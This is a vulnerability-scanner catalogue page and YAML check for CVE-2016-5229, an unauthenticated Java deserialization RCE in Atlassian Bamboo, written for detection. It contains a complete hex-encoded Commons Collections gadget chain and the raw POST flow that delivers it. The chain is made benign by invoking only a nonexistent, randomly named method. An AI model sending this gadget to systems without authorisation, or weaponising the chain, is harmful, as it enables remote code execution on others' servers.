Atlassian Bamboo — 1 vulnerability check
noctis ships 1 vulnerability check for Atlassian Bamboo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Atlassian Bamboo Agent Message Java Deserialization RCE
| CVE | CVE-2016-5229 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Ports | 8085 |
| Detection | set_var, http_request, script, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/atlassian-bamboo/CVE-2016-5229.yaml |
Detects Atlassian Bamboo servers whose remote-agent message resource (/agentServer/message) deserializes untrusted Java objects without restricting the classes, which lets a remote attacker execute arbitrary code. The test first fetches an agent fingerprint from /agentServer/GetFingerprint.action?agent=elastic, then POSTs to /agentServer/message a serialized Apache Commons Collections gadget chain whose only action is to look up a public method with a random name ("Noctis" followed by random characters) on a string. The method does not exist, so a vulnerable server throws an InvokerTransformer exception naming that random method and returns it in the error reply. Seeing the random name inside that exception proves the server deserialized the gadget and performed an attacker-chosen reflective method call, the primitive used for code execution. Fixed Bamboo releases, servers that refuse the request, and servers with a hardened Commons Collections library do not return the marker and are not reported. Nothing is executed, written or loaded on the target.
How noctis detects it
- HTTP(S) request
GET /agentServer/GetFingerprint.action?agent=elastic - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Checks
verdict.hitfor^true$→ finding QoD 97: POST /agentServer/message?fingerprint=<elastic agent fingerprint> with a Commons-Collections InvokerTransformer gadget naming the random me…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-5229
- https://confluence.atlassian.com/bambooreleases/bamboo-security-advisory-2016-07-20-1189793777.html
- https://jira.atlassian.com/browse/BAM-17736
Feed source — tests/vulnerabilities/atlassian-bamboo/CVE-2016-5229.yaml
# Atlassian Bamboo — unauthenticated Java deserialization RCE in the remote-agent
# message resource (CVE-2016-5229, BAM-17736). Affected: Bamboo 2.3.1 up to 5.11.4
# and 5.12.0 up to 5.12.3 (fixed 5.11.4.1 / 5.12.3.1). "Bamboo had a resource that
# deserialised input from build agents and did not sufficiently restrict which classes
# could be deserialised"; the caller needs a valid agent fingerprint, which the
# elastic-agent bootstrap endpoint hands out without authentication.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_atlassian_bamboo_92057.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105830, GPL-2.0-only)
# Same flow: GET /agentServer/GetFingerprint.action?agent=elastic, take the
# `fingerprint=<value>&` it returns, then POST a serialized object to
# /agentServer/message?fingerprint=<value>.
#
# Deliberate deviations, all making the check stronger and benign:
# * Gadget: the NASL sends a CommonsCollections1-style chain that runs "whoami" and
# only matches the static text "java.lang.Integer cannot be cast to java.util.Set"
# (JDK-dependent). We send the HashSet -> TiedMapEntry -> LazyMap chain ("CC6"),
# which fires on every JDK while commons-collections <= 3.2.1 is on the classpath,
# and runs nothing: the LazyMap factory is InvokerTransformer("Noctis<random>", [], [])
# so the target only looks up a public String method with our random name. It does not
# exist, so commons-collections throws
# FunctorException: InvokerTransformer: The method 'Noctis<random>' on
# 'class java.lang.String' does not exist
# and the 500 reply carries the exception text. The random marker rules out a static
# error page, and the request never contains "The method", so an echo cannot match.
# * The body is the bare ObjectOutputStream bytes (no leading writeUTF).
#
# Gadget bytes validated against a real JDK with commons-collections 3.1 / 3.2.1 (marker
# in FunctorException) and 3.2.2 (UnsupportedOperationException "Serialization support ...
# is disabled", no marker) — see infra/docker/bamboo-5229-mock/gen/Sink.java. The Bamboo
# reply format itself comes from the NASL (HTTP 500 whose body carries the exception
# message); no Bamboo licence/image was available to replay it.
uid: 5ffe2280-1f1c-4979-b02d-d91b23063d4f
name: "Atlassian Bamboo Agent Message Java Deserialization RCE (CVE-2016-5229)"
description: |
Detects Atlassian Bamboo servers whose remote-agent message resource
(/agentServer/message) deserializes untrusted Java objects without restricting the
classes, which lets a remote attacker execute arbitrary code. The test first fetches
an agent fingerprint from /agentServer/GetFingerprint.action?agent=elastic, then
POSTs to /agentServer/message a serialized Apache Commons Collections gadget chain
whose only action is to look up a public method with a random name ("Noctis"
followed by random characters) on a string. The method does not exist, so a
vulnerable server throws an InvokerTransformer exception naming that random method
and returns it in the error reply. Seeing the random name inside that exception
proves the server deserialized the gadget and performed an attacker-chosen
reflective method call, the primitive used for code execution. Fixed Bamboo
releases, servers that refuse the request, and servers with a hardened Commons
Collections library do not return the marker and are not reported. Nothing is
executed, written or loaded on the target.
cves: [CVE-2016-5229]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [atlassian, bamboo, commons-collections, deserialization, rce, unauthenticated, intrusive]
services: [http, https]
ports: [8085]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-5229"
- "https://confluence.atlassian.com/bambooreleases/bamboo-security-advisory-2016-07-20-1189793777.html"
- "https://jira.atlassian.com/browse/BAM-17736"
- "OpenVAS/Greenbone NASL 2016/gb_atlassian_bamboo_92057.nasl (OID 1.3.6.1.4.1.25623.1.0.105830, GPL-2.0-only)"
steps:
- id: init-fp
action: set_var
var_name: fp
var_value: {status: 0, body: ""}
- id: init-reply
action: set_var
var_name: reply
var_value: {responded: false, response: null}
- id: init-late
action: set_var
var_name: late
var_value: {responded: false, response: null}
# The elastic-agent bootstrap endpoint answers without authentication with a body
# carrying `fingerprint=<value>&...`.
- id: get-fingerprint
action: http_request
method: GET
path: "/agentServer/GetFingerprint.action?agent=elastic"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fp
- id: parse-fingerprint
action: script
store_as: cc
code: |
let marker = "Noctis" + substr(str_replace(oob_token, "-", ""), 0, 11);
let m = eregmatch("fingerprint=([A-Za-z0-9_.~%-]+)&", fp.body);
let print_fp = "";
if fp.status == 200 && m.len() >= 2 { print_fp = m[1]; }
#{ marker: marker, fingerprint: print_fp }
# Bare ObjectOutputStream bytes of HashSet{TiedMapEntry(LazyMap(
# InvokerTransformer(<marker>, [], [])))} (commons-collections 3.1); only the method
# name string (TC_STRING 0x74 + u16 length + bytes) is spliced in at scan time.
- id: build-frame
action: script
store_as: req
code: |
let g = "";
g += "aced0005737200116a6176612e7574696c";
g += "2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368";
g += "652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39";
g += "c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f";
g += "7574696c2f4d61703b78707400066e6f637469737372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65";
g += "6374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61";
g += "70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e";
g += "6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73";
g += "666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c";
g += "000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d5479706573";
g += "7400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce";
g += "589f1073296c020000787000000000";
g += "74";
g += p16be(strlen(cc.marker));
g += hexstr(cc.marker);
g += "757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000737200116a6176612e";
g += "7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64";
g += "78703f4000000000000c77080000001000000000787878";
let blen = strlen(g) / 2;
let r = "POST /agentServer/message?fingerprint=" + cc.fingerprint + " HTTP/1.1\r\n";
r += "Host: " + target_host + ":" + port.to_string() + "\r\n";
r += "Accept: */*\r\n";
r += "Content-Length: " + blen.to_string() + "\r\n";
r += "Connection: close\r\n";
r += "\r\n";
#{ frame: hexstr(r) + g }
# Raw socket (TLS auto-wrapped on https): the body is binary.
- id: open-bamboo
action: tcp_open
handle: bamboo
port: "{{port}}"
condition: "cc.fingerprint != \"\""
timeout_secs: 10
store_as: conn
- id: send-gadget
action: tcp_send
handle: bamboo
condition: "cc.fingerprint != \"\""
send_hex: "{{req.frame}}"
timeout_secs: 10
store_as: reply
# tcp_send waits up to timeout_secs for the first reply byte; if none arrived, wait a
# little longer, then read late bytes on the same socket (returns at once when the
# server already closed).
- id: wait-late
action: sleep
duration_ms: 3000
condition: "cc.fingerprint != \"\" && reply.responded == false"
- id: read-late
action: tcp_send
handle: bamboo
condition: "cc.fingerprint != \"\""
send: ""
store_as: late
- id: close-bamboo
action: tcp_close
handle: bamboo
- id: verify
action: script
store_as: verdict
code: |
let body = "";
let status = "";
if type_of(reply.response) == "string" { body += reply.response; }
if type_of(late.response) == "string" { body += late.response; }
let m = eregmatch("^HTTP/[0-9.]+ ([0-9]{3})", body);
if m.len() >= 2 { status = m[1]; }
// HTTP chunk-size lines could split the message: drop them first.
body = ereg_replace("\r\n[0-9a-fA-F]{1,8}\r\n", "", body);
let q = "('|�?39;|')";
let hit = ereg("InvokerTransformer: The method " + q + cc.marker + q + " on ", body);
#{ hit: hit, status: status }
- id: confirm
action: match
source: verdict.hit
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "POST /agentServer/message?fingerprint=<elastic agent fingerprint> with a Commons-Collections InvokerTransformer gadget naming the random method {{cc.marker}}: HTTP {{verdict.status}} reply carries \"InvokerTransformer: The method '{{cc.marker}}' ... does not exist\" — the target deserialized the gadget and performed the attacker-chosen reflective call (CVE-2016-5229)"
stop: true